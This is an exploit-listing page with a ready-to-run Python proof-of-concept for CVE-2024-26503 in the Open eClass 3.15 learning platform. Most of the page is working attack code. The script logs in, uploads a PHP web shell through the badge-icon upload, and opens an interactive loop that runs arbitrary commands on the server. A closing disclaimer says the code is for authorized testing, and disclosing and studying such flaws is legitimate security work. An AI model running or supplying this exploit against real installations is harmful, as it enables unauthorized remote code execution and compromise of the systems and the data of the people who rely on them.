Skip to main content

Open eClass 3.15 – RCE

Categories: WebApps

Open eClass 3.15 – RCE

Proof of Concept (PoC)

poc.py
# Exploit Title:  Open eClass 3.15 - RCE 
# Date: Mar 15, 2024
# Exploit Author: Georgios Roumeliotis
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/3.15/
# Version: 3.15 (2024)
# Tested on: Multiple Platforms
# CVE : CVE-2024-26503
# Github : https://github.com/RoboGR00t/Exploit-CVE-2024-26503
# Disclosure: https://www.less-secure.com/2024/03/open-eclass-cve-2024-26503-unrestricted.html


import requests
import argparse

RED = '33[91m'
GREEN = '33[92m'
YELLOW = '33[93m'
RESET = '33[0m'
ORANGE = '33[38;5;208m'

def banner():
    print(f'''{RED}

  ___  _  _  ____     ____   __  ____   ___      ____   ___   ___   __  ____ 
 / __)/ )( \(  __)___(___ \ /  \(___ \ / _ \ ___(___ \ / __) / __) /  \( __ \
( (__ \ \/ / ) _)(___)/ __/(  0 )/ __/(__  ((___)/ __/(  _ \(___ \(  0 )(__ (
 \___) \__/ (____)   (____) \__/(____)  (__/    (____) \___/(____/ \__/(____/

{YELLOW}
 ============================ Author: RoboGR00t ============================

{RESET}  ''')

def execute_command(openeclass):
    while True:
        # Prompt for user input with "eclass"
        cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")

        # Check if the command is 'quit', then break the loop
        if cmd.lower() == "quit":
            print(f"{ORANGE}nExiting... removing '{RED}execute.php{ORANGE}'{RESET}")
            requests.get(f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=rm execute.php")
            break

        # Construct the URL with the user-provided command
        url = f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd={cmd}"

        # Execute the GET request
        try:
            response = requests.get(url)
            # Check if the request was successful
            if response.status_code == 200:
                # Print the response text
                print(f"{GREEN}{response.text}{RESET}")
        except requests.exceptions.RequestException as e:
            # Print any error that occurs during the request
            print(f"{RED}An error occurred: {e}{RESET}")


def upload_web_shell(openeclass, username, password):

    login_url = f'{openeclass}/?login_page=1'

    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    # Login credentials
    payload = {
        'next': '/main/portfolio.php',
        'uname': f'{username}',
        'pass': f'{password}',
        'submit': 'Enter'
    }

    headers = {
        'Referer': login_page_url,
    }

    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
        session.get(login_page_url)
        
        # Post the login credentials
        response = session.post(login_url, headers=headers, data=payload)
        

        url = f'{openeclass}/modules/admin/certbadge.php'
        files = {
            'icon': ('execute.php', '<?php echo  shell_exec($_GET['cmd']) ;?>', 'text/plain'),
            'name': (None, ''),
            'description': (None, ''),
            'submit_badge_icon': (None, '')
        }
        response = session.post(url, files=files)


def is_successfull(openeclass):

    url = f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=whoami"

    # Execute the GET request
    try:
        response = requests.get(url)
        # Check if the request was successful
        if response.status_code == 200:
            # Print the response text
            return True
        else:
            print("EXPLOITATION FAILED")
            return False
    except requests.exceptions.RequestException as e:
        # Print any error that occurs during the request
        print(f"An error occurred: {e}")



def main():
    parser = argparse.ArgumentParser(description="Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution")
    parser.add_argument('-u', '--username', required=True, help="Username for login")
    parser.add_argument('-p', '--password', required=True, help="Password for login")
    parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")

    args = parser.parse_args()

    banner()
    # Running the main login and execute command function
    upload_web_shell(args.eclass, args.username, args.password)
    if is_successfull(args.eclass) == True :
        execute_command(args.eclass)


if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...